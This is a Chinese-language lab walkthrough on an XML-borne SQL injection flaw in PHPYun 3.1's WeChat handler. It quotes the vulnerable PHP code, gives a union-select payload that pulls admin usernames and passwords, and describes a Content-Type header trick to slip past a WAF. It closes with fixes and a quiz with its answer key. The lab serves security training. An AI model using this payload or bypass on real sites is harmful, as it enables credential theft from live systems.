PHPYun XML 注入漏洞

实验环境

实验环境

  • 操作机系统:WindowsXP
  • 目标网站:www.test.ichunqiu

实验目的

  • 掌握本次漏洞的原理及其利用方法
  • 学会如何修复Sql注入漏洞

实验工具

Hack Bar :它是火狐浏览器的一款插件,包含一些常用的工具。(SQL injection,XSS,加密等),web开发人员可以利用它,快速构建一个http请求,或者用它快速实现某种算法等,本次实验主要用到它的提交POST数据功能

Tamper Data:它是火狐浏览器的一款插件,主要功能如下:

  • 可以用来查看和修改 HTTP/HTTPS 的头部和 POST 参数;
  • 可以用来跟踪 HTTP 请求和响应
  • 可以对 WEB 站点进行某些安全测试,用来调试 WEB 配置十分方便

实验内容


PHP Yun

PHP云系统,是专为中文用户设计和开发的一个系统,采用PHP+Mysql数据库构建,能满足大部分站长对网站的二次开发,使用率非常广泛。

漏洞介绍

因函数过滤不严谨,用户POST过去的内容没有进行任何过滤,导致攻击者可以利用XML实体进行注入,从而获取数据库敏感信息

影响版本

3.1 build14061

漏洞危害

攻击者通过SQL注入漏洞,获取后台管理员账号密码,进一步可能得到Webshell,并对服务器安全造成极大的威胁

什么是 SQL注入(SQL Injection )

认识SQL注入

SQL注入漏洞可以说是在企业运营中会遇到的最具破坏性的漏洞之一,它也是目前被利用得最多的漏洞。要学会如何防御SQL注入,我们首先要对他进行了解。

SQL注入(SQLInjection)是这样一种漏洞:当我们的Web app 在向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

  • SQL注入漏洞的本质是把用户输入的数据当做代码来执行,违背了数据与代码分离的原则。
  • SQL注入漏洞有两个关键条件,理解这两个条件可以帮助我们理解并防御SQL注入漏洞:
    • 用户能控制输入的内容
    • Web应用执行的代码中,拼接了用户输入的内容
SQL注入原理
  • SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
SQL注入攻击的产生
  • 当应用程序使用输入内容来构造动态SQL语句以访问数据库时,会发生SQL注入攻击。 如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生SQL注入。
  • SQL注入可能导致攻击者使用应用程序登陆在数据库中执行命令。相关的SQL注入可以通过测试工具pangolin进行。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造动态SQL命令,或者作为存储过程的输入参数,这些表单特别容易受到SQL注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是SQL注入就发生了

本次实验首先分析漏洞的原理,接下来进行漏洞利用

实验步骤

步骤1:了解漏洞原理

本次漏洞文件位于 weixin/model/index.class.php ,代码如下:

private function responseMsg()
      {
    $postStr = $GLOBALS["HTTP_RAW_POST_DATA"];


    if (!empty($postStr)){

                 $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
                  $fromUsername = $postObj->FromUserName;
                  $toUsername = $postObj->ToUserName;
                  $keyword = trim($postObj->Content);
                  $time = time();
                  $textTpl = "
         
         
         %s
         
         
         0
         ";
      if(!empty( $keyword ))
                  {
                  $msgType = "text";
                   $contentStr = "Welcome to wechat world!";
                   $resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr);
                   echo $resultStr;
                  }else{
                   echo "Input something...";
                  }

          }else {
           echo "";
           exit;
          }
      }

这里将$postStr = $GLOBALS["HTTP_RAW_POST_DATA"],通过 simplexml_load_string解析后的内容,将其直接带入了$textTpl

然而$postStr = $GLOBALS["HTTP_RAW_POST_DATA"] ,直接获取了POST过来的XML内容,没有经过任何处理,并在最后将其输出。

if($MsgType=='event')
       {
      $MsgEvent = $postObj->Event;
      if ($MsgEvent=='subscribe')
      {
       $centerStr = "config['sy_webname'])."!/n 1:您可以直接回复关键字如【销售】、【南京 销售】、【南京 销售 XX公司】查找您想要的职位/n绑定您的账户体验更多精彩功能/n感谢您的关注!]]>";
       $this->MsgType = 'text';

      }elseif ($MsgEvent=='CLICK')
      {
       $EventKey = $postObj->EventKey;
       if($EventKey=='我的帐号'){
        $centerStr = $this->bindUser($fromUsername);

       }elseif($EventKey=='我的消息')
       {
        $centerStr = $this->myMsg($fromUsername);
       }elseif($EventKey=='面试邀请')
       {
        $centerStr = $this->Audition($fromUsername);

       }elseif($EventKey=='简历查看')
       {

        $centerStr = $this->lookResume($fromUsername);

       }elseif($EventKey=='刷新简历')
       {

        $centerStr = $this->refResume($fromUsername);

从上述代码可以看出来,当满足那上面的条件后都会进入不同的相应的函数,但是都会进入一个名为isBind函数。

接下来追踪isBind函数:

private function isBind($wxid='')
   {

    if($wxid)
    {
     $User = $this->obj->DB_select_once("member","`wxid`='".$wxid."'","`uid`,`username`");
    }
    if($User['uid']>0)
    {
     $User['bindtype'] = '1';
     $User['cenetrTpl'] = ".iconv('gbk','utf-8',$this->config['sy_webname'])."帐号:".$User['username']."已成功绑定! /n/n/n 您也可以config['sy_weburl']."/wap/index.php?m=login&wxid=".$wxid."/">点击这里进行解绑或绑定其他帐号]]>";

    }else{

     $Token = $this->getToken();
     $Url = 'https://api.weixin.qq.com/cgi-bin/user/info?access_token='.$Token.'&openid='.$wxid.'&lang=zh_CN';
     $CurlReturn  = $this->CurlPost($Url);
     $UserInfo    = json_decode($CurlReturn);

     $wxid        = $wxid;
     $wxname      = $UserInfo->nickname;
     $this->config['token_time'] = time();

     $User['cenetrTpl'] = 'sy_weburl'].'/wap/index.php?m=login&wxid='.$wxid.'">点击这里进行绑定!]]>';
    }

    return $User;
   }

可以看到,从始至终wxid变量始终没有经过任何过滤,在第一行的$wxid就是我们传进来的FromUserName的值,可以直接进入SQL语句,进行任意注入。

因此我们可以针对其构造Payload,内容如下:

注: 因构造语句使用文字描述起来比较复杂,可读性较低,要注意引号闭合、语法正确、语句通顺等,故如何构造Payload,请大家查看实验配套视频。

一般来说,我们只需要将Payload以POST形式的数据发出去,就可以成功的获取数据库敏感信息,但是服务器如果有WAF,提交的恶意数据必然会被拦截,因此,我们需要修改HTTP头,伪装成XML就可以不受到WAF的拦截:

Content-type:text/xml;charset=utf-8

下一步我们进行利用操作

步骤2:漏洞验证

我们首先打开目标站点,点击网页左侧注册按钮,首先注册一个账号:

PHPYun XML 注入漏洞_第1张图片

这个时候已经是登录状态,我们按F9 调出 Hack Bar 的界面,点击Enable Post data ,将Payload写入输入框,如下图所示:

PHPYun XML 注入漏洞_第2张图片

payload文件:

注:payload文件内容需手动输入相应位置


  <xml>
    1111
    1111' and 1=2 union select 1,(select concat(username,password) from phpyun_member limit 0,1)#
    1402550611
    event
    CLICK
    我的账号
    0
  xml>

接下来还需要修改HTTP头,伪装成XML,点击浏览器上方工具栏,打开Tamper Data ,点击启动。

PHPYun XML 注入漏洞_第3张图片

现在前提工作已经做好,接下来重新访问网站,Tamper Data 就会抓取到数据包,再对数据包进行更改,操作如图:

PHPYun XML 注入漏洞_第4张图片

然后点击确定就可以将构造好的数据包发出去:

PHPYun XML 注入漏洞_第5张图片

成功获取管理员账号密码。

实验结果分析与总结

本次实验我们了解了Sql注入的危害,掌握了Sql注入的方法及其产生原理,并学习了如何利用XML进行注入,最后我们将给出修复建议。

修复方案

  • 默认的Token值为空,增加随机Token验证
  • 对相关参数在查询前进行过滤

1、需要如何修改HTTP请求才能触发XML注入漏洞?()

  • Content-Type:text/html;
  • Content-Type:application/x-www-form-urlencoded;
  • Content-Type:text/plain;
  • Content-Type:text/xml;

D

2、PHPYun XML注入漏洞构造payload时使用的是哪个SQL关键词?()

  • update
  • insert
  • union
  • delete

C

3、在xml中,CDATA区段的文本会被xml解析器忽略。

A

4、XML注入漏洞字段HTTP_RAW_POST_DATA在以下哪种情况下会生成?()

  • POST发送可识别的MIME类型数据
  • POST发送不可识别的MIME类型数据
  • 客户端发送GET请求
  • 客户端发送HEAD请求

B

5、以下选项的内容哪些能防范XML注入攻击?()

  • 增加随机Token验证
  • 设置Token为固定值
  • 对相关参数在查询前进行过滤
  • 更改HTTP请求方式为GET

AC

第1题:下面对$GLOBALS[‘HTTP_RAW_POST_DATA’] 说法正确的是哪个?

只有HTTP 请求头中Content-Type 字段设置成application/x-www.form-urlencoded 标准数据类型时,才能用这个方法接收值

$HTTP_RAW_POST_DATA 对于 enctype="multipart/form-data" 表单数据可用

使用$GLOBALS[‘HTTP_RAW_POST_DATA’]接收的数据会自动转义特殊字符

以上说法都不正确

d

第2题:为什么增加 Token 就可以修补漏洞?

增加Token 令危险变量无法进入危险函数

增加Token 可以导致响应时间变慢, 让黑客失去耐心

增加 Token 可以过滤掉有害的字符

增加 Token 可以限制变量长度

A

第3题:为什么WAF 在本漏洞中可以直接绕过?

服务器管理员忘记开启 WAF 了

WAF采用的黑名单中没有此漏洞中的字符

HTTP_RAW_POST_DATA 接收的是原始POST数据,不会经过WAF

POST 到服务器上的数据又被反转义了

c

你可能感兴趣的:(视频学习,学习笔记,网络安全)